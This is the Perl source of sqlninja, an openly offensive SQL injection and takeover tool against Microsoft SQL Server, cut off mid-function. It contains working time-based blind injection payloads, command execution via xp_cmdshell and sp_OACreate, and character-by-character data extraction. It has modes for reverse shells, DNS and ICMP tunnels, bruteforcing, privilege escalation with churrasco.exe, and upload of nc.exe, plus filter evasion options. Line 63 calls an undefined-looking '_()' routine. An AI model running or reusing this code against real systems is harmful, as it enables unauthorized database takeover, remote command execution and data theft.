1#!/usr/bin/env perl 2 3# sqlninja - SQL injection and takeover tool 4# Copyright (C) 2006-2011 5# http://sqlninja.sourceforge.net 6# icesurfer <r00t@northernfortress.net> 7# 8# Sqlninja is free software: you can redistribute it and/or modify 9# it under the terms of the GNU General Public License as published by 10# the Free Software Foundation, either version 3 of the License, or 11# (at your option) any later version. 12# 13# Sqlninja is distributed in the hope that it will be useful, 14# but WITHOUT ANY WARRANTY; without even the implied warranty of 15# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16# GNU General Public License for more details. 17# 18# You should have received a copy of the GNU General Public License 19# along with sqlninja. If not, see <http://www.gnu.org/licenses/>. 20 21# Originally developed as a highly customized sql-based exploit 22# during a pen-test for a major financial institution (ciao Maurizio!), 23# to my surprise it became a more general purpose injection tool. Bah. 24 25# While I am releasing this version, my Gentoo box is playing: 26# Rammstein - Mein Land 27 28use strict; 29use Config; 30use IO::Socket; 31use IO::Handle; 32use Getopt::Std; 33use Fcntl; 34 35my $RELEASE = "0.2.6"; 36 37# global variables that contain the configuration file options 38# You might say that global variables are bad, but what's more 39# global than an option from a configuration file? :P 40my $host = ""; 41my $port = ""; 42my $proxyhost = ""; 43my $proxyport = "8080"; 44my $httprequest = ""; # This substitutes a bunch of variables of previous versions 45my $method; # GET or POST 46my $vhost = ""; 47my $postline; 48my $httpversion = 0; 49my $filterconf = ""; 50my $timeout = 5; 51my $ssl = ""; 52my $lhost = ""; 53my $dev = "eth0"; 54my $domain; 55my $hostnamelen = 250; 56my $dnssock = "/tmp/.dnsninjasock"; 57my $resolvedip = "10.255.255.254"; 58my $xp_name = "xp_cmdshell"; 59my $blindtime = 5; 60my $evasion = "0"; 61# Process command line arguments 62my %options; 63my $ask;_();getopts('gvm:f:p:w:u:d:',\%options) or usage(); 64my $genscript = ""; 65my $verbose = $options{v}; 66my $confile = $options{f} || "sqlninja.conf"; 67my $password = $options{p} || ""; 68my $wordlist = $options{w}; 69my $user = $options{u}; 70my $debug = $options{d}; 71my $genscript = $options{g}; 72my $errorstring = ""; 73my $errorflag = 0; 74my $appendcomment = "--"; 75my $msfpath = ""; 76my $msfencoder = ""; 77my $msfencodecount = 5; 78my $lines_per_req = 10; # script lines to upload with each request 79my $churrasco = 0; 80my $checkdep = "no"; 81my $sqlmarker = "__SQL2INJECT__"; 82 83# Provide a friendly message for missing modules... 84my %nonStandardModules = ( 85 "NetPacket-IP" => "NetPacket::IP", 86 "NetPacket-TCP" => "NetPacket::TCP", 87 "NetPacket-UDP" => "NetPacket::UDP", 88 "NetPacket-ICMP" => "NetPacket::ICMP", 89 "IO-Socket-SSL" => "IO::Socket::SSL", 90 "Net-Pcap" => "Net::Pcap", 91 "Net-RawIP" => "Net::RawIP", 92 "Net-DNS-Nameserver" => "Net::DNS::Nameserver", 93); 94 95while(my ($name,$module) = each %nonStandardModules) { 96 if (($> != 0) and ($name eq "Net-Pcap")) { 97 next; 98 } 99 if (($> != 0) and ($name eq "Net-DNS-Nameserver")) { 100 next; 101 } 102 if (($> != 0) and ($name eq "Net-RawIP")) { 103 next; 104 } 105 eval "use $module"; 106 # The module isn't there 107 if ($@ =~ /Can't locate/) { 108 die "\nSeems that some module is missing...:\n".$@."\n"; 109 } 110 if (($@ ne "") and ($verbose == 1)) { 111 print $@; 112 } 113} 114 115# Silly birthday function... 116my @timedata = localtime(time); 117if (($timedata[3] == 26) and ($timedata[4] == 0)) { 118 printf "-----------------------------------------------------------\n"; 119 printf "Today is icesurfer's bday. What about a greetings email? :)\n"; 120 printf "-----------------------------------------------------------\n"; 121} elsif (($timedata[3] == 8) and ($timedata[4] == 1)) { 122 printf "----------------------------------------------------------\n"; 123 printf "Today is sqlninja's bday. What about a greetings email? :)\n"; 124 printf "----------------------------------------------------------\n"; 125} 126 127print("Sqlninja rel. ".$RELEASE."\n"); 128print("Copyright (C) 2006-2011 icesurfer <r00t\@northernfortress.net>\n"); 129# Operation mode 130my $mode = $options{m}; 131if ( $mode ne "test" && $mode ne "t" && 132 $mode ne "fingerprint" && $mode ne "f" && 133 $mode ne "bruteforce" && $mode ne "b" && 134 $mode ne "escalation" && $mode ne "e" && 135 $mode ne "resurrectxp" && $mode ne "x" && 136 $mode ne "upload" && $mode ne "u" && 137 $mode ne "dirshell" && $mode ne "s" && 138 $mode ne "backscan" && $mode ne "k" && 139 $mode ne "revshell" && $mode ne "r" && 140 $mode ne "dnstunnel" && $mode ne "d" && 141 $mode ne "icmpshell" && $mode ne "i" && 142 $mode ne "sqlcmd" && $mode ne "c" && 143 $mode ne "metasploit" && $mode ne "m") { 144 usage(); 145 exit(1); 146 } 147 148if ((($mode eq "k") or ($mode eq "backscan")) and ($> != 0)) { 149 print "You need r00t privileges to run backscan mode...\n"; 150 exit(0); 151} 152 153if ((($mode eq "d") or ($mode eq "dnstunnel")) and ($> != 0)) { 154 print "You need r00t privileges to run dnstunnel...\n"; 155 exit(0); 156} 157 158if ((($mode eq "i") or ($mode eq "icmpshell")) and ($> != 0)) { 159 print "You need r00t privileges to run icmpshell...\n"; 160 exit(0); 161} 162 163if (($genscript == 1) and ($mode ne "upload") and ($mode ne "u")) { 164 print "[-] -g only works with upload mode. Ignoring it...\n"; 165} 166 167if (($debug ne "") and 168 ($debug ne "1") and 169 ($debug ne "2") and 170 ($debug ne "3") and 171 ($debug ne "all")) { 172 print "Unrecognized debug mode. Possible modes are:\n". 173 " 1 - Print injected SQL command\n". 174 " 2 - Print raw HTTP request\n". 175 " 3 - Print raw HTTP response\n". 176 " all - all of the above\n\n"; 177 exit(0); 178} 179 180# Parse configuration file 181parsefile(); 182 183if (($xp_name eq "NULL") and ($password eq "")) { 184 print "You need to specify the sa password when xp_name is NULL !\n"; 185 exit(0); 186} 187 188# Children either signal when they are done via socket 189# or they are killed by the parent 190$SIG{CHLD} = 'IGNORE'; 191 192# Check whether to use SSL or not 193if ($ssl eq "auto") { 194 if ($proxyhost eq "") { 195 checkSSL(); 196 } else { 197 print "[-] ssl can't be set to 'auto when using a proxy.\n"; 198 if ($port eq "443") { 199 print " Assuming encrypted connection\n"; 200 $ssl = 1; 201 } else { 202 print " Assuming cleartext connection\n"; 203 $ssl = 0; 204 } 205 } 206} elsif ($ssl eq "yes") { 207 if ($verbose == 1) { 208 print "[v] Using SSL connection\n"; 209 } 210 $ssl = 1; 211} elsif ($ssl eq "no") { 212 if ($verbose == 1) { 213 print "[v] Using cleartext connection\n"; 214 } 215 $ssl = 0; 216# If we are here, it means that ssl wasn't specified at all. So we guess 217} elsif ($port eq "443") { 218 print "[+] Port 443... assuming SSL\n"; 219 $ssl = 1; 220} else { 221 print "[+] Port ".$port.". Assuming cleartext\n"; 222 $ssl = 0; 223} 224 225 226# What should we do anyway ? 227print "[+] Target is: ".$host.":".$port."\n"; 228if (($mode eq "test") || ($mode eq "t")) { 229 test(); 230} elsif (($mode eq "fingerprint") || ($mode eq "f")) { 231 fingerprint(); 232} elsif (($mode eq "bruteforce") || ($mode eq "b")) { 233 if ($password ne "") { 234 print "[-] bruteforce mode specified. Password will be ". 235 "ignored\n"; 236 $password = ""; 237 } 238 brute(); 239} elsif (($mode eq "escalation") || ($mode eq "e")) { 240 if ($password eq "") { 241 print "[-] password not specified... exiting\n"; 242 exit(1); 243 } 244 if ($user ne "") { 245 print "[-] username is not needed from version 0.2.0\n"; 246 } 247 escalation(); 248} elsif (($mode eq "resurrectxp") || ($mode eq "x")) { 249 if ($xp_name eq "NULL") { 250 print "[-] xp_name can't be NULL to use this mode. Please upd". 251 "ate conf file\n"; 252 exit(0); 253 } 254 resurrectxp(); 255} elsif (($mode eq "upload") || ($mode eq "u")) { 256 my $uplfile; 257 while ($uplfile eq "") { 258 print " Specify the binary or script file to upload\n"; 259 print " shortcuts:\n". 260 " 1: apps/nc.exe\n". 261 " 2: apps/dnstun.exe\n". 262 " 3: apps/churrasco.exe\n". 263 " 4: apps/icmpsh.exe\n". 264 " 5: apps/vdmallowed.exe\n". 265 " 6: apps/vdmexploit.dll\n". 266 " > "; 267 $uplfile = <STDIN>; 268 chomp $uplfile; 269 if ($uplfile eq "1") { 270 $uplfile = "apps/nc.exe"; 271 } elsif ($uplfile eq "2") { 272 $uplfile = "apps/dnstun.exe"; 273 } elsif ($uplfile eq "3") { 274 $uplfile = "apps/churrasco.exe"; 275 } elsif ($uplfile eq "4") { 276 $uplfile = "apps/icmpsh.exe"; 277 } elsif ($uplfile eq "5") { 278 $uplfile = "apps/vdmallowed.exe"; 279 } elsif ($uplfile eq "6") { 280 $uplfile = "apps/vdmexploit.dll"; 281 } 282 } 283 upload($uplfile); 284} elsif (($mode eq "dirshell") || ($mode eq "s")) { 285 dirshell(); 286} elsif (($mode eq "backscan") || ($mode eq "k")) { 287 backscan(); 288} elsif (($mode eq "revshell") || ($mode eq "r")) { 289 revshell(); 290} elsif (($mode eq "dnstunnel") || ($mode eq "d")) { 291 if ($domain eq "") { 292 print "[-] domain has not been specified... exiting\n"; 293 exit(1); 294 } 295 dnstunnel(); 296} elsif (($mode eq "icmpshell") || ($mode eq "i")) { 297 icmpshell(); 298} elsif (($mode eq "sqlcmd") || ($mode eq "c")) { 299 sqlcmd(); 300} elsif (($mode eq "metasploit") || ($mode eq "m")) { 301 metasploit(); 302} 303 304exit(0); 305############################################################################## 306# Main program ends here 307############################################################################## 308 309# Parse options from configuration file 310sub parsefile 311{ 312 unless (-e $confile) { 313 print "[-] ".$confile." does not exist. Exiting...\n"; 314 exit(-1); 315 } 316 print "[+] Parsing ".$confile."...\n"; 317 my $confline; 318 open(FILE,"<".$confile) || die "[-] Can't open configuration file...". 319 "exiting\n"; 320 while ($confline = <FILE>) { 321 chomp($confline); 322 # comment line 323 if ($confline =~ m/^#\.*/) { 324 next; 325 } 326 327 # We start with parameters that might require spaces 328 329 # errorstring 330 if ($confline =~ m/\s*errorstring\s*=\s*"(.+)"\s*/) { 331 $errorstring = $1; 332 if ($verbose == 1) { 333 print " - custom error page string: \"". 334 $errorstring."\"\n"; 335 } 336 next; 337 } 338 339 # tcpdump filter 340 elsif ($confline =~ m/\s*filter\s*=\s*(.+)\s*/) { 341 $filterconf = $1; 342 if ($verbose == 1) { 343 print " - filterconf: ".$filterconf."\n"; 344 } 345 } 346 347 # Now we can safely strip all spaces and simplify regexps 348 $confline =~ s/\s//g; 349 350 351 352 # Proxy host 353 if ($confline =~ m/^proxyhost=(\S+)/) { 354 $proxyhost = $1; 355 if ($verbose == 1) { 356 print " - Proxy host: ".$proxyhost."\n"; 357 } 358 } 359 # Proxy port 360 elsif ($confline =~ m/^proxyport=(\d+)/) { 361 $proxyport = $1; 362 if ($verbose == 1) { 363 print " - Proxy port: ".$proxyport."\n"; 364 } 365 } 366 # HTTP request 367 elsif ($confline =~ m/^--httprequest_start--/) { 368 $httprequest = ""; # overwrite if already present 369 my $line; 370 $line = <FILE>; 371 if ($line =~ m/^GET.+/) { 372 $method = "GET"; 373 } else { 374 $method = "POST"; 375 } 376 377 if ($line =~ m/^(GET|POST)\shttps:\/\//) { 378 $ssl = "yes"; 379 } else { 380 $ssl = "no"; 381 } 382 if ($verbose == 1) { 383 print " - SSL: ".$ssl."\n"; 384 } 385 # I suck with regexps, so there are probably bugs and definitely 386 # ways to do this better. Suggestions are welcome 387 $line =~ m/^(GET|POST)\s+https?:\/\/([A-Za-z0-9.-]+)(\/|:)/; 388 $host = $2; 389 if ($line =~ m/^(GET|POST)\s+https?:\/\/([A-Za-z0-9.-]+):(\d+)/) { 390 $port = $3; 391 } elsif ($ssl eq "yes") { 392 $port = 443; 393 } else { 394 $port = 80; 395 } 396 397 if ($line =~ m/HTTP\/1.1/) { 398 $httpversion = 1; 399 } 400 $httprequest = $httprequest.$line; 401 $line = <FILE>; 402 while ($line !~ m/^--httprequest_end--/) { 403 404 if ($line =~ m/^Host:\s+(\S+)/) { 405 $vhost = $1; 406 } 407 if (($method eq "POST") and ($line =~ m/^\s*$/)) { 408 $httprequest = $httprequest."Content-Length: __CONTENT_LENGTH__\n\n"; 409 } elsif (($method eq "POST") and ($line =~ m/$sqlmarker/)) { 410 $postline = $line; # We'll need this to calculate Content-Length 411 $httprequest = $httprequest.$line; 412 } else { 413 $httprequest = $httprequest.$line; 414 } 415 $line = <FILE>; 416 } 417 } 418 # device to sniff in backscan mode 419 elsif ($confline =~ m/^device=(\S+)/) { 420 $dev = $1; 421 if ($verbose == 1) { 422 print " - sniff device: ".$dev."\n"; 423 } 424 } 425 # local host 426 elsif ($confline =~ m/lhost=(\S+)/) { 427 $lhost = $1; 428 if ($verbose == 1) { 429 print " - local host: ".$lhost."\n"; 430 } 431 } 432 # domain for dnstunnel 433 elsif ($confline =~ m/^domain=(\S+)/) { 434 $domain = $1; 435 if ($verbose == 1) { 436 print " - domain: ".$domain."\n"; 437 } 438 } 439 # timeout for backscan 440 elsif ($confline =~ m/^timeout=(\d+)/) { 441 $timeout = $1; 442 if ($verbose == 1) { 443 print " - timeout: ".$timeout."\n"; 444 } 445 } 446 # hostnamelen 447 elsif ($confline =~ m/^hostnamelength=(\d+)/) { 448 if (($1 > 39) and ($1 < 256)) { 449 $hostnamelen = $1; 450 if ($verbose == 1) { 451 print " - hostnamelength: ". 452 $hostnamelen."\n"; 453 } 454 } 455 } 456 # resolved ip 457 elsif ($confline =~ m/^resolvedip=(\d+)\.(\d+)\.(\d+)\.(\d+)$/){ 458 $resolvedip = $1.".".$2.".".$3.".".$4; 459 if ((($1 < 1) or ($1 > 255)) || 460 (($2 < 0) or ($2 > 255)) || 461 (($3 < 0) or ($3 > 255)) || 462 (($4 < 0) or ($4 > 255))) { 463 $resolvedip = "10.255.255.254"; 464 } 465 if ($verbose == 1) { 466 print " - resolved IP: ".$resolvedip."\n"; 467 } 468 } 469 # xp_name 470 elsif ($confline =~ m/^xp_name=(\S+)/) { 471 $xp_name = $1; 472 if ($verbose == 1) { 473 print " - xp_name: ".$xp_name."\n"; 474 } 475 } 476 # blind injection time 477 elsif ($confline =~ m/^blindtime=(\d+)/) { 478 if (($1 > 2) and ($1 < 60)) { # back to school, silly! 479 $blindtime = $1; 480 if ($verbose == 1) { 481 print " - blindtime: ".$blindtime."\n"; 482 } 483 } 484 } 485 # append comment 486 elsif ($confline =~ m/^appendcomment=(\S+)/) { 487 if ($1 eq "no") { 488 $appendcomment = ""; 489 } 490 if ($verbose == 1) { 491 if ($appendcomment eq "") { 492 print " - append comment: no\n"; 493 } else { 494 print " - append comment: yes\n"; 495 } 496 } 497 } 498 # evasion techniques 499 elsif ($confline =~ m/^evasion=([1-4]+)$/) { 500 $evasion = $1; 501 } 502 # msf path 503 elsif ($confline =~ m/^msfpath=(\S+)$/) { 504 $msfpath = $1; 505 unless ($msfpath=~m/\/$/) { 506 $msfpath = $msfpath."/"; 507 } 508 } 509 # script lines to upload per request 510 elsif ($confline =~ m/^lines_per_request=(\d+)$/) { 511 if (($1 > 0) and ($1 < 31)) { 512 $lines_per_req = $1; 513 } 514 } 515 # Whether to use churrasco.exe 516 elsif ($confline= ~ m/^usechurrasco=(\S+)$/) { 517 if ($1 eq "yes") { 518 $churrasco = 1; 519 if ($verbose == 1) { 520 print " - churrasco.exe enabled\n"; 521 } 522 } 523 } 524 # msf encoder to use 525 elsif ($confline =~ m/^msfencoder=(\S+)$/) { 526 $msfencoder = $1; 527 if ($verbose == 1) { 528 print " - msfencoder to use: ".$msfencoder."\n"; 529 } 530 } 531 # number of times to encode the msf payload 532 elsif ($confline =~ m/^msfencodecount=(\d+)$/) { 533 if ($1 > 0) { 534 $msfencodecount=$1; 535 if ($verbose == 1) { 536 print " - msf payload will be encoded ". 537 $msfencodecount." times\n"; 538 } 539 } 540 } 541 # whether to handle DEP via xp_regwrite 542 elsif ($confline =~ m/checkdep=(\S+)$/) { 543 if ($1 eq "yes") { 544 $checkdep = "yes"; 545 if ($verbose == 1) { 546 print " - DEP checking enabled\n"; 547 } 548 } 549 } 550 # sqlmarker 551 elsif ($confline =~ m/sqlmarker=(\S+)$/) { 552 $sqlmarker = $1; 553 if ($verbose == 1) { 554 print " - sqlmarker: ".$sqlmarker."\n"; 555 } 556 } 557 } 558 close FILE; 559 if ($httprequest eq "") { 560 print "[-] HTTP request not defined in ".$confile."\n"; 561 print " Are you sure you are not using a configuration file of a previous version?\n"; 562 print " Starting from version 0.2.6, the syntax has changed. See documentation\n"; 563 exit(1); 564 } 565 if ($httprequest !~ m/$sqlmarker/) { 566 print "[-] No ".$sqlmarker." marker was found in the HTTP request in ".$confile."\n"; 567 print " See documentation for how to specify the attack request\n"; 568 exit(1); 569 } 570 if ($host eq "") { 571 print "[-] host not defined in ".$confile."\n"; 572 exit (1); 573 } 574 if ($httprequest eq "") { 575 print "[-] no HTTP defined in ".$confile."\n"; 576 exit (1); 577 } 578 if ($filterconf eq "") { 579 $filterconf = "src host ".$host." and dst host ".$lhost; 580 } 581 if (($mode eq "5") or ($mode eq "dnstunnel")) { 582 if ($hostnamelen < (length($domain)+10)) { 583 print "[-] max hostname length too short\n"; 584 exit(1); 585 } 586 if ($hostnamelen > 255) { 587 print "[-] max hostname length too long\n"; 588 exit(1); 589 } 590 } 591 if ($evasion =~ /[1-4]/) { 592 print "[+] Evasion technique(s):\n"; 593 if ($evasion =~ /1/) { 594 print " - query hex-encoding\n"; 595 } 596 if ($evasion =~ /2/) { 597 print " - comments as separator\n"; 598 } 599 if ($evasion =~ /3/) { 600 print " - random case\n"; 601 } 602 if ($evasion =~ /4/) { 603 print " - random URI encoding\n"; 604 } 605 } 606 # If we are using a proxy without SSL, we need to modify the first line 607 # E.g.: GET /blah.asp --> GET http://victim.com/blah.asp 608 if (($proxyhost ne "") and ($ssl eq "")) { 609 $httprequest =~ s/$method\s+\//$method http:\/\/$host:$port\//; 610 } 611} 612 613 614# Simply test whether the configuration is correct and the injection 615# is working 616sub test 617{ 618 print "[+] Trying to inject a 'waitfor delay'....\n"; 619 my $query = "waitfor delay '0:0:".$blindtime."';"; 620 my $delay = tryblind($query); 621 if ($delay > ($blindtime - 2)) { 622 print "[+] Injection was successful! Let's rock !! :)\n" 623 } else { 624 print "[-] Injection was not successful. Possible causes:\n"; 625 print " 1. The application is not vulnerable\n"; 626 print " 2. There is an error in the configuration\n"; 627 } 628} 629 630# Ask the user what he/she wants to fingerprint, then call the 631# appropriate function 632sub fingerprint 633{ 634 print "What do you want to discover ?\n"; 635 my $info = "-1"; 636 my $result; 637 my $menu; 638 my $opt5; 639 my $opt_xp; 640 if ($xp_name ne "NULL") { 641 $opt_xp = $xp_name; 642 } else { 643 $opt_xp = "openrowset+sp_oacreate"; 644 } 645 if ($churrasco == 1) { 646 $opt5 = " 5 - Whether churrasco.exe can steal System's token\n". 647 " (Win2k3 only. ".$opt_xp." must be available and\n". 648 " churrasco.exe must have been uploaded)\n"; 649 } else { 650 $opt5 = " 5 - Whether SQL Server runs as System\n". 651 " (".$opt_xp." must be available)\n"; 652 } 653 $menu = " 0 - Database version (2000/2005/2008)\n". 654 " 1 - Database user\n". 655 " 2 - Database user rights\n". 656 " 3 - Whether ".$opt_xp." is working\n". 657 " 4 - Whether mixed or Windows-only authentication". 658 " is used\n". 659 $opt5. 660 " 6 - Current database name\n". 661 " a - All of the above\n". 662 " h - Print this menu\n". 663 " q - exit\n"; 664 665 my $sa = 0; 666 print $menu; 667 while (1) { 668 $errorflag = 0; 669 print "> "; 670 $info = <STDIN>; 671 lc($info); 672 chomp($info); 673 if ($info eq "h") { 674 print $menu; 675 next; 676 } 677 if (($info ne "0") and 678 ($info ne "1") and 679 ($info ne "2") and 680 ($info ne "3") and 681 ($info ne "4") and 682 ($info ne "5") and 683 ($info ne "6") and 684 ($info ne "a") and 685 ($info ne "q") and 686 ($info ne "")) { 687 print " Undefined command\n"; 688 next; 689 } 690 if (($info eq "a") or ($info eq "0")) { 691 print "[+] Checking SQL Server version...\n"; 692 $result = fingerprint_version(); 693 if ($result ne "unknown") { 694 print " Target: Microsoft SQL Server " 695 .$result."\n"; 696 } else { 697 print " Target: unknown\n"; 698 } 699 } 700 if (($info eq "a") or ($info eq "1")) { 701 $sa = fingerprint_user(); # 1 if sa. 0 Otherwise 702 } 703 if (($info eq "a") or ($info eq "2")) { 704 # if in the previous step we found that we are 705 # sysadmin, there is no point in performing this 706 # step 707 if ($sa == 1) { 708 if ($verbose == 1) { 709 print " [v] Skipping the fingerprint ". 710 "of user rights\n"; 711 } 712 } else { 713 $result = fingerprint_sysadmin(1); 714 if ($result == 1) { 715 print " You are an administrator !\n"; 716 } else { 717 print " You are not an administrator". 718 ". If you tried escalating al". 719 "ready, it might be\n that you ". 720 "are using old ODBC connections. Check". 721 " the documentation\n for how to deal". 722 " with this\n"; 723 } 724 } 725 } 726 if (($info eq "a") or ($info eq "3")) { 727 $result = fingerprint_shell($xp_name); 728 if (($xp_name eq "NULL") and ($result == 1)) { 729 print " openrowset+sp_oacreate works !\n"; 730 } elsif (($xp_name eq "NULL") and ($result == 0)) { 731 print " openrowset+sp_oacreate does not ". 732 "work...\n"; 733 } elsif ($result == 1) { 734 print " ".$xp_name." seems to be available ". 735 ":)\n"; 736 } else { 737 print " ".$xp_name." doesn't seem to be ". 738 "available\n"; 739 } 740 } 741 if (($info eq "a") or ($info eq "4")) { 742 $result = fingerprint_auth(); 743 if ($result eq "1") { 744 print " Windows-only authentication seems to". 745 " be used\n"; 746 } elsif ($result eq "0") { 747 print " Mixed authentication seems to be ". 748 "used\n"; 749 } else { 750 print " Could not determine authentication ". 751 "mode\n"; 752 } 753 } 754 if (($xp_name ne "NULL") and (($info eq "a") or ($info eq "5"))) { 755 $result = fingerprint_sqlsrvuser($xp_name); 756 if (($result eq "1") and ($churrasco == 0)) { 757 print " SQL Server appears to be running as ". 758 "System.... yay!\n"; 759 } elsif (($result eq "1") and ($churrasco == 1)) { 760 print " Churrasco appears to make our queries ". 761 "run as System... yay!\n"; 762 } elsif (($result eq "0") and ($churrasco == 0)) { 763 print " SQL Server does not appear to be ". 764 "running as System. You can try\n". 765 " uploading and using ". 766 "churrasco.exe to attempt token ". 767 "kidnapping\n"; 768 } else { 769 print " Queries do not appear to be run as ". 770 "System. The box might have\n been patched\n"; 771 } 772 } 773 if (($info eq "6") or ($info eq "a")) { 774 extract_data("Current DB","select len(db_name())", "select db_name()",0,30); 775 } 776 if ($info eq "q") { 777 exit(0); 778 } 779 $info = "-1"; 780 $sa = 0; 781 } 782} 783 784# Using inference-based SQL Injection, figures out whether we are talking to a 785# SQL Server 2000 or 2005. The double-negation logic is used to avoid the 786# injection of the '=' sign, that was filtered by a couple of applications that 787# I tested (go figure!) 788sub fingerprint_version 789{ 790 my $query="if not(substring((select \@\@version),25,1) <> 5) waitfor ". 791 "delay '0:0:".$blindtime."';"; 792 my $delay = tryblind($query); 793 if ($delay > ($blindtime - 2)) { 794 return "2005"; 795 } 796 $query="if not(substring((select \@\@version),25,1) <> 0) waitfor ". 797 "delay '0:0:".$blindtime."';"; 798 $delay = tryblind($query); 799 if ($delay > ($blindtime - 2)) { 800 return "2000"; 801 } 802 $query="if not(substring((select \@\@version),28,1) <> 8) waitfor ". 803 "delay '0:0:".$blindtime."';"; 804 $delay = tryblind($query); 805 if ($delay > ($blindtime - 2)) { 806 return "2008"; 807 } 808 return "unknown"; 809} 810 811# Using inference-based SQL Injection, figures out which 812# user is performing the queries on the target DB 813sub fingerprint_user 814{ 815 my $query; 816 my $delay; 817 818 print "[+] Checking whether we are sysadmin...\n"; 819 $query = "if not(select system_user) <> 'sa' waitfor delay '0:0:" 820 .$blindtime."'"; 821 $delay = tryblind($query); 822 if ($delay > ($blindtime - 2)) { 823 print " We seem to be 'sa' :)\n"; 824 return 1; 825 } else { 826 print " No, we are not 'sa'.... :/ \n"; 827 828 extract_data("DB User","select len(system_user)", "select system_user",0,30); 829 } 830 return 0; 831} 832 833# Extract generic data from the DB using WAITFOR. 834# The $inner_query parameter must return a string 835sub extract_data { 836 my $req_data = $_[0]; # The description of data we are looking for 837 # (e.g.: DB User) 838 my $inner_query_len = $_[1]; # The query returning the 839 # length of the data we are looking for 840 my $inner_query_string = $_[2]; # The query returning the string of 841 # the data we are looking for 842 my $minlen = $_[3]; 843 my $maxlen = $_[4]; 844 my $len = -1; 845 my $candidate; 846 my $query; 847 my $delay; 848 849 local $/=\1; 850 local $|=1; 851 852 my $word1 = "if ascii(substring((".$inner_query_string."),"; 853 my $word2 = ",1)) < "; 854 my $word3 = " waitfor delay '0:0:".$blindtime."';"; 855 my $len1 = "if (".$inner_query_len.") < "; 856 my $len2 = " waitfor delay '0:0:".$blindtime."';"; 857 858 print "[+] Finding ".$req_data." length... \n"; 859 if ($verbose == 1) { 860 print " Candidate...: "; 861 } 862 while ($len < 0) { 863 $candidate = int(($minlen+$maxlen)/2); 864 if ($verbose == 1) { 865 print $candidate."... "; 866 } 867 $query = $len1.$candidate.$len2; 868 $delay = tryblind($query); 869 if (($maxlen - $minlen) > 1) { 870 if ($delay < $blindtime - 2) { 871 $minlen = $candidate; 872 } else { 873 $maxlen = $candidate; # 874 } 875 if ($minlen == $maxlen) { 876 $len = $minlen; 877 } 878 } else { 879 if ($delay < $blindtime - 2) { 880 $len = $maxlen-1; 881 } else { 882 $len = $minlen; 883 } 884 } 885 } 886 if ($verbose == 1) { 887 print "\n"; 888 } 889 print " Got it ! Length = ".$len."\n"; 890 print "[+] Now going for the characters........\n"; 891 print " ".$req_data." is....: "; 892 my $asciinum = -1; 893 my $charnum; 894 my $minchar; 895 my $maxchar; 896 for ($charnum=1; $charnum<=$len; $charnum++) { 897 $minchar=32; 898 $maxchar=126; 899 while ($asciinum < 0) { 900 $candidate = int(($minchar+$maxchar)/2); 901 $query=$word1.$charnum.$word2.$candidate.$word3; 902 $delay=tryblind($query); 903 if (($maxchar-$minchar) > 1) { 904 if ($delay < $blindtime - 2) { 905 $minchar=$candidate; 906 } else { 907 $maxchar=$candidate; 908 } 909 if ($minchar==$maxchar) { 910 $asciinum=$minchar; 911 } 912 } else { 913 if ($delay < $blindtime - 2) { 914 $asciinum=$maxchar-1; 915 } else { 916 $asciinum=$minchar; 917 } 918 } 919 } 920 printf("%c",$asciinum); 921 $asciinum=-1; 922 } 923 print "\n"; 924} 925 926 927 928# Check whether we are part of the sysadmin group... 929# Mostly useful after having used the escalation method 930sub fingerprint_sysadmin 931{ 932 my $v = $_[0]; 933 if ($v == 1) { 934 print "[+] Checking whether user is member of sysadmin " 935 ."server role....\n"; 936 } 937 my $cmd; 938 $cmd = "if is_srvrolemember('sysadmin') > 0 waitfor delay '0:0:". 939 $blindtime."';"; 940 my $delay = tryblind($cmd); 941 if ($delay > ($blindtime - 2)) { 942 return 1; 943 } else { 944 return 0; 945 } 946} 947 948# Try to see if the stored procedure passed as a parameter 949# is working 950sub fingerprint_shell 951{ 952 if ($_[0] eq "NULL") { 953 return fingerprint_nullshell(); 954 } 955 print "[+] Checking whether ".$_[0]." is available\n"; 956 my $query = "exec master..".$_[0]." 'ping -n ".$blindtime. 957 " 127.0.0.1';"; 958 my $delay = tryblind($query); 959 if ($delay > ($blindtime - 2)) { 960 return 1; 961 } else { 962 return 0; 963 } 964} 965 966sub fingerprint_sqlsrvuser 967{ 968 if ($_[0] eq "NULL") { 969 print "[-] This mode does not currently work with inline procedure ". 970 "injection\n"; 971 return "-1"; 972 } 973 my $rnd = int(rand()*65535); 974 my $cmd = "whoami"; 975 if ($churrasco == 1) { 976 $cmd = usechurrasco($cmd); 977 print "[+] Checking whether Churrasco.exe can escalate privileges...\n"; 978 } else { 979 print "[+] Checking whether SQL Server runs as NT Authority\\SYSTEM...\n"; 980 } 981 my $query = "drop table tempdb..blah".$rnd.";". 982 "create table tempdb..blah".$rnd." (name nvarchar(100));". 983 "insert tempdb..blah".$rnd." exec master..".$_[0]." '".$cmd."';". 984 "if (select top 1 name from tempdb..blah".$rnd.") ". 985 "like 'nt authority\\system' ". 986 "waitfor delay '0:0:".$blindtime."';". 987 "drop table tempdb..blah".$rnd.";"; 988 my $delay = tryblind($query); 989 if ($delay > ($blindtime - 2)) { 990 return "1"; 991 } else { 992 return "0"; 993 } 994} 995 996sub fingerprint_nullshell 997{ 998 if ($password eq "") { 999 print "[-] Specify 'sa' password to use \"NULL\" xp_cmdshell\n". 1000 " If you are 'sa' already, you shouldn't need NULL ". 1001 "xp_cmdshell anyway.... \n"; 1002 exit(1); 1003 } 1004 print "[+] Checking whether openrowset+sp_oacreate works\n"; 1005 my $query = "DECLARE \@ID int ". 1006 "EXEC sp_OACreate 'WScript.Shell',\@ID OUT ". 1007 "EXEC sp_OAMethod \@ID,'Run',Null,'ping -n ".$blindtime. 1008 " 127.0.0.1',0,1 ". 1009 "EXEC sp_OADestroy \@ID"; 1010 my $delay = tryblind($query); 1011 if ($delay > $blindtime - 2) { 1012 return 1; 1013 } else { 1014 return 0; 1015 } 1016} 1017 1018# Figures out which authentication system is in place 1019sub fingerprint_auth 1020{ 1021 my $query="if not((select serverproperty('IsIntegratedSecurityOnly')) ". 1022 " <> 1) waitfor delay '0:0:".$blindtime."';"; 1023 my $delay = tryblind($query); 1024 if ($delay > ($blindtime - 2)) { 1025 return "1"; 1026 } 1027 $query="if not((select serverproperty('IsIntegratedSecurityOnly')) ". 1028 " <> 0) waitfor delay '0:0:".$blindtime."';"; 1029 $delay = tryblind($query); 1030 if ($delay > ($blindtime - 2)) { 1031 return "0"; 1032 } 1033 return "unknown"; 1034} 1035 1036 1037# Send a request and return the time that it took to return 1038# It is used with WAITFOR-based blind injection 1039sub tryblind 1040{ 1041 my $query; 1042 if ($password eq "") { 1043 $query = $_[0]; 1044 } else { 1045 my $cmd = $_[0]; 1046 $cmd =~ s/'/''/g; 1047 $query = "select 